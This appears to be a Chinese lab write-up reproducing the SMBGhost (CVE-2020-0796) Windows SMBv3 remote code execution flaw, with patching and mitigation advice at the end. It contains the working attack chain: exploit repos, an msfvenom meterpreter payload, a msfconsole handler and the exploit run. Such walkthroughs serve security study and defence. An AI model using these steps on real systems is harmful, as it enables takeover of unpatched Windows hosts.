CVE-2020-0796漏洞復現(RCE)

0x01 漏洞簡介

2020年3月10日,微軟在其官方SRC發布了CVE-2020-0796的安全公告(ADV200005,MicrosoftGuidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客戶端和服務端存在遠程程式碼執行漏洞。同時指出該漏洞存在於MicroSoft Server Message Block 3.1.1協議處理特定請求包的功能中,攻擊者利用該漏洞可在目標SMB Server或者Client中執行任意程式碼。
該漏洞的後果十分接近永恆之藍系列,都利用Windows SMB漏洞遠程攻擊獲取系統最高許可權,WannaCry勒索蠕蟲就是利用永恆之藍系列漏洞攻擊工具製造的大災難。除了直接攻擊SMB服務端造成RCE外,該漏洞得亮點在於對SMB客戶端的攻擊,攻擊者可以構造特定的網頁,壓縮包,共享目錄,OFFICE文檔等多種方式觸發漏洞進行攻擊。

0x02 影響範圍

漏洞不影響win7,漏洞影響Windows 10 1903之後的各個32位、64位版Windows,包括家用版、專業版、企業版、教育版。
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

SMB介紹

Microsoft伺服器消息塊(SMB)協議是Microsoft Windows中使用的一項Microsoft網路文件共享協議。在大部分windows系統中都是默認開啟的,用於在電腦間共享文件、印表機等。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源於SMBv3沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法,最終導致整數溢出。
利用該漏洞,黑客可直接遠程攻擊SMB服務端遠程執行任意惡意程式碼,亦可通過構建惡意SMB服務端誘導客戶端連接從而大規模攻擊客戶端。

0x03 復現步驟

環境要求

1.win10虛擬機(1903或者1909版本)
ip:192.168.5.131
這裡給一個win10 1903版本的鏡像

ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/

2.關閉defender和防火牆
3.Kali Linux(確保可以和win10虛擬機ping通)
ip:192.168.5.128

利用步驟

(1)首先檢測目標是否存在漏洞,下載檢測POC
//github.com/ollypwn/SMBGhost
控制台輸入python3 scanner.py <目標ip>來進行檢測

發現存在漏洞
(2)然後下載利用poc
git clone //github.com/chompie1337/SMBGhost_RCE_PoC.git
然後切換到對應目錄下找到exploit.py

再找到這一段

(3)生成python的反彈shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o exp.py



然後將shellcode里的buf全部改成USER_PAYLOAD再將修改好的shellcode粘貼到exploit.py上我們剛才找到的位置,以便將獲得的shell反彈到我們的kail上

(4)啟動msfconsole,設置監聽埠
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.5.145
rhost => 192.168.5.145
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > run
開啟監聽埠後,再去運行exploit.py
python3 exploit.py -ip 192.168.5.145

成功反彈shell,查看當前用戶許可權

注意:雖然這次成功了,但是這個rce的poc還不是很穩定,經常容易打藍屏和死機。

本地提權

利用這個漏洞的還可以本地提權,就不贅述了。
//www.fr1sh.com/?post=26

0x04 漏洞修復

1. 更新,完成修補程式的安裝。
操作步驟:設置­>更新和安全­>Windows更新,點擊「檢查更新」。
2.微軟給出了臨時的應對辦法:
運行regedit.exe,打開註冊表編輯器,在
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一個名為
DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。
3.對SMB通訊445埠進行封禁。
4.修補程式鏈接
//catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762